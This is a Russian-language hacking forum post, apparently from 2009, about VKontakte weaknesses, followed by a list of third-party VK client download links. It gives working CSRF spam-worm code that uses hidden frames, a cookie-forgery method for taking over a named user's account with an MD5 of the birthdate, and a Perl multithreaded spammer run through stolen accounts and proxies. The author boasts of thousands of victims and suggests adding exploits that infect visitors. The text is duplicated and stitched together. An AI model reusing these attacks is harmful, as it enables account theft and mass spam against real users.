X A У C
26.09.2009, 16:42
Много тем,типо "Баги в контакте".Но я решил обьеденить все эти темы.1. Занимательный javascript
В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.
Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.
Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.
Создадим три страницы:
1) index.html
Код HTML:
<frameset ROWS="100%,0%,0%">
<FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
<FRAME NAME="preved" SRC="preved.html">
<FRAME NAME="timer" SRC="timer.html">
</frameset>
2) preved.html
Код HTML:
<html><head></head><body></body></html>
3) timer.html
Код HTML:
<head>
<script>
function timer() {
var msg = new String();
var msg_to ;
do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
msg=urlencode('Превед!'); // наше сообщение 8)
msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
// отправим наше сообщение
parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
setTimeout("timer()", 1250); // И поставим сами себя на таймер
}
</script>
</head>
<body>
<script>
timer();
</script>
</body>
Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.
Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();
Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)
2. Проблемы с безопасностью
В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:
remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;
Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.
3. Многопоточный флудер
Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:
#!/usr/bin/perl
#
# By lord_of_keyboard, 2007.
#
use IO::Socket;
use Digest::MD5 qw (md5_hex);
sub add_child {
my $proxy=shift;
my $acc=shift;
my $pid = fork();
if ($pid) { # parent
push(@children, $pid.":".time());
} elsif ($pid == 0) { # child
$proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;
my ($host, $port) = split(":",$proxy);
my ($id, $password, $shit) = split(":", $acc);
my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);
my $post_id=int(rand(400000));
my $text = "Я тебя люблю ";
for $i (1..int(rand(10)+1)){ $text.=")"; }
$text.="\n http://l-0-v-e.by.ru/";
$text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Cookie: $cookie\r\n".
"Connection: close\r\n\r\n";
my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
print $sock $get;
while ($html = <$sock>){
if ($html =~ /name="blog_id"/gi){
$html=~m/(\d+)/gi;
$blog_id = $1;
}
}
close $sock;
sleep(1);
$request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";
$comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($request)."\r\n".
"Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Cookie: $cookie\r\n".
"Connection: close\r\n\r\n$request";
my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
print $sock $comment;
while (<$sock>){ print; }
close $sock;
exit(0); # bailing out 8)
} else {
die "couldn't fork: $!\n";
}
}
sub next_plz {
$proxy_offset++; $acc_offset++;
if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }
if ($acc_offset>$#{@accs}){ $acc_offset=0; }
}
print "Hello, master. I am ready to serve you.\n\n";
open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE;
open(FILE,"<accs.txt"); @accs=<FILE>; close FILE;
@children=(); $acc_offset=0; $proxy_offset=0;
for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }
while (1){
print "There are ".(@children)." of us.\n";
for my $i (0..$#{@children}) {
my $child=@children[$i];
my ($pid,$time)=split(":",$child);
my $status = waitpid($pid, -1);
if ($status>=0) {
if (time()-$time>30) {
kill($pid); # time has come to die, r.i.p.
} # if
} else {
splice(@children,$i,1);
add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz;
}
} # foreach
sleep(2);
}
Копировоно с http://forum.antichat.net/thread45578.html .©
Описание:
программа-клиент для удобного общения на всем известном портале Vkontakte.ru. Основные возможности: отправка/прием сообщений друзьям вконтакте, просмотр инфо друга, поддержка аватаров друзей, визуальные оповещения о новых событиях (друзья, фото, группы, встречи, видео), история сообщений, звуковые оповещения, множество скинов (можно настроить внешний вид на ваш вкус), статус на сайте, трансляция названия треков Winamp в статус на сайте, группы в Контакт-листе
Скачать http://dump.ru/file/2472652
__________________________________________________ ______
VKClient
Описание:
не хотите расставаться с ВКонтакте ни на минуту? Java-приложение VKClient для мобильных телефонов позволяет оставаться в контакте даже когда у Вас нет возможности находиться в интернете через персональный компьютер
Скачать http://dump.ru/file/2472657
__________________________________________________ _____
VKTray
Описание:
программка tray висит в трее в виде значка, периодически проверяет наличие новых сообщений на сайте vkontakte.ru и информирует о новых сообщениях мигающей иконкой. При щелчке на иконку в браузере открывается страница сообщений, чтобы закрыть программу щелкните по значку в трее правой кнопкой мыши и выберите “Выход”
Скачать с http://dump.ru/file/2472663
__________________________________________________ ______
VKMusic
Описание:
качалка и поискових треков с огромной базы mp3 файлов залитых пользователями vkontakte. VKMusic позволяет автоматизировать поиск нужных вам аудизаписей и скачивание их на ваш компьютер, выбор музыки оргомен. Авторизации не требуется.
Скачать http://dump.ru/file/2472664
__________________________________________________ _____
VKPaint
Описание:
рисовалка/загрузчик картинок вконтакте.ру, поможет вам добавить нужный элемент к вашему граффити или полностью перенести понравившую вам картинку на стену ваших друзей. Поддерживает 2 режима работы, "перерисовка" картинки и загрузка напрямую. В отличии от сайтов предоставляющих загрузку картинок, вам не приходится засвечивать доступ к своей учетке 3-им лицам.
http://dump.ru/file/2472669
__________________________________________________ _
VKPicture
Описание:
имеет интуитивно понятный интерфейс и очень проста в использовании. Для программ такого уровня это решающий фактор, ведь при малейшем неудобстве утилита не оказывается применяемой. Всё, что нужно сделать, чтобы загрузить другу картинку – запустить программу, выбрать собственно друга и картинку (последнее осуществляется стандартным диалоговым окном Windows). Не забудьте после этого на самом сайте нажать на кнопку "Опубликовать на стене".
Скачать http://dump.ru/file/2472675
__________________________________________________ ______
VKMusicScript
Описание:
этот скрипт поможет Вам скачать аудио-файлы, залитые пользователями ВКонтакте к себе на компьютер. Скрипт добавляет около кнопок прослушивания музыки ссылку для скачивания и ссылку для быстрого поиска слов песни. Описание использования скрипта прилагается.
Скачать http://dump.ru/file/2472678
__________________________________________________ ________
VKVideoScript
Описание:
этот скрипт поможет Вам сохранить видео-файлы, залитые пользователями В Контакте.ру к себе на компьютер. Скрипт добавляет около видеороликов ссылку для скачивания. Описание использования скрипта прилагается.
http://dump.ru/file/2472677
__________________________________________________ ______
VKVideoGrabber
Описание:
виджет для браузера Opera, позволяющих сохранить любые видео-файлы выложенные пользователями ВКонтакте.ру.
http://dump.ru/file/2472677
__________________________________________________ ______
VKToolBar for IE
Описание:
установите официальный тулбар для Internet Explorer и получайте мгновенные уведомления о новых сообщениях, событиях, группах и т.д. не заходя на сайт vkontakte.ru
Скачать http://dump.ru/file/2472695
__________________________________________________ ____
В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.
Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.
Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.
Создадим три страницы:
1) index.html
Код HTML:
<frameset ROWS="100%,0%,0%">
<FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
<FRAME NAME="preved" SRC="preved.html">
<FRAME NAME="timer" SRC="timer.html">
</frameset>
2) preved.html
Код HTML:
<html><head></head><body></body></html>
3) timer.html
Код HTML:
<head>
<script>
function timer() {
var msg = new String();
var msg_to ;
do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
msg=urlencode('Превед!'); // наше сообщение 8)
msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
// отправим наше сообщение
parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
setTimeout("timer()", 1250); // И поставим сами себя на таймер
}
</script>
</head>
<body>
<script>
timer();
</script>
</body>
Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.
Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();
Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)
2. Проблемы с безопасностью
В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:
remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;
Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.
3. Многопоточный флудер
Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:
#!/usr/bin/perl
#
# By lord_of_keyboard, 2007.
#
use IO::Socket;
use Digest::MD5 qw (md5_hex);
sub add_child {
my $proxy=shift;
my $acc=shift;
my $pid = fork();
if ($pid) { # parent
push(@children, $pid.":".time());
} elsif ($pid == 0) { # child
$proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;
my ($host, $port) = split(":",$proxy);
my ($id, $password, $shit) = split(":", $acc);
my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);
my $post_id=int(rand(400000));
my $text = "Я тебя люблю ";
for $i (1..int(rand(10)+1)){ $text.=")"; }
$text.="\n http://l-0-v-e.by.ru/";
$text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Cookie: $cookie\r\n".
"Connection: close\r\n\r\n";
my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
print $sock $get;
while ($html = <$sock>){
if ($html =~ /name="blog_id"/gi){
$html=~m/(\d+)/gi;
$blog_id = $1;
}
}
close $sock;
sleep(1);
$request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";
$comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".length($request)."\r\n".
"Referer: http://vkontakte.ru/\r\n".
"User-Agent: Internet Explorer 6.0\r\n".
"Cookie: $cookie\r\n".
"Connection: close\r\n\r\n$request";
my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
print $sock $comment;
while (<$sock>){ print; }
close $sock;
exit(0); # bailing out 8)
} else {
die "couldn't fork: $!\n";
}
}
sub next_plz {
$proxy_offset++; $acc_offset++;
if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }
if ($acc_offset>$#{@accs}){ $acc_offset=0; }
}
print "Hello, master. I am ready to serve you.\n\n";
open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE;
open(FILE,"<accs.txt"); @accs=<FILE>; close FILE;
@children=(); $acc_offset=0; $proxy_offset=0;
for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }
while (1){
print "There are ".(@children)." of us.\n";
for my $i (0..$#{@children}) {
my $child=@children[$i];
my ($pid,$time)=split(":",$child);
my $status = waitpid($pid, -1);
if ($status>=0) {
if (time()-$time>30) {
kill($pid); # time has come to die, r.i.p.
} # if
} else {
splice(@children,$i,1);
add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz;
}
} # foreach
sleep(2);
}
Копировоно с http://forum.antichat.net/thread45578.html .©
Описание:
программа-клиент для удобного общения на всем известном портале Vkontakte.ru. Основные возможности: отправка/прием сообщений друзьям вконтакте, просмотр инфо друга, поддержка аватаров друзей, визуальные оповещения о новых событиях (друзья, фото, группы, встречи, видео), история сообщений, звуковые оповещения, множество скинов (можно настроить внешний вид на ваш вкус), статус на сайте, трансляция названия треков Winamp в статус на сайте, группы в Контакт-листе
Скачать http://dump.ru/file/2472652
__________________________________________________ ______
VKClient
Описание:
не хотите расставаться с ВКонтакте ни на минуту? Java-приложение VKClient для мобильных телефонов позволяет оставаться в контакте даже когда у Вас нет возможности находиться в интернете через персональный компьютер
Скачать http://dump.ru/file/2472657
__________________________________________________ _____
VKTray
Описание:
программка tray висит в трее в виде значка, периодически проверяет наличие новых сообщений на сайте vkontakte.ru и информирует о новых сообщениях мигающей иконкой. При щелчке на иконку в браузере открывается страница сообщений, чтобы закрыть программу щелкните по значку в трее правой кнопкой мыши и выберите “Выход”
Скачать с http://dump.ru/file/2472663
__________________________________________________ ______
VKMusic
Описание:
качалка и поискових треков с огромной базы mp3 файлов залитых пользователями vkontakte. VKMusic позволяет автоматизировать поиск нужных вам аудизаписей и скачивание их на ваш компьютер, выбор музыки оргомен. Авторизации не требуется.
Скачать http://dump.ru/file/2472664
__________________________________________________ _____
VKPaint
Описание:
рисовалка/загрузчик картинок вконтакте.ру, поможет вам добавить нужный элемент к вашему граффити или полностью перенести понравившую вам картинку на стену ваших друзей. Поддерживает 2 режима работы, "перерисовка" картинки и загрузка напрямую. В отличии от сайтов предоставляющих загрузку картинок, вам не приходится засвечивать доступ к своей учетке 3-им лицам.
http://dump.ru/file/2472669
__________________________________________________ _
VKPicture
Описание:
имеет интуитивно понятный интерфейс и очень проста в использовании. Для программ такого уровня это решающий фактор, ведь при малейшем неудобстве утилита не оказывается применяемой. Всё, что нужно сделать, чтобы загрузить другу картинку – запустить программу, выбрать собственно друга и картинку (последнее осуществляется стандартным диалоговым окном Windows). Не забудьте после этого на самом сайте нажать на кнопку "Опубликовать на стене".
Скачать http://dump.ru/file/2472675
__________________________________________________ ______
VKMusicScript
Описание:
этот скрипт поможет Вам скачать аудио-файлы, залитые пользователями ВКонтакте к себе на компьютер. Скрипт добавляет около кнопок прослушивания музыки ссылку для скачивания и ссылку для быстрого поиска слов песни. Описание использования скрипта прилагается.
Скачать http://dump.ru/file/2472678
__________________________________________________ ________
VKVideoScript
Описание:
этот скрипт поможет Вам сохранить видео-файлы, залитые пользователями В Контакте.ру к себе на компьютер. Скрипт добавляет около видеороликов ссылку для скачивания. Описание использования скрипта прилагается.
http://dump.ru/file/2472677
__________________________________________________ ______
VKVideoGrabber
Описание:
виджет для браузера Opera, позволяющих сохранить любые видео-файлы выложенные пользователями ВКонтакте.ру.
http://dump.ru/file/2472677
__________________________________________________ ______
VKToolBar for IE
Описание:
установите официальный тулбар для Internet Explorer и получайте мгновенные уведомления о новых сообщениях, событиях, группах и т.д. не заходя на сайт vkontakte.ru
Скачать http://dump.ru/file/2472695
__________________________________________________ ____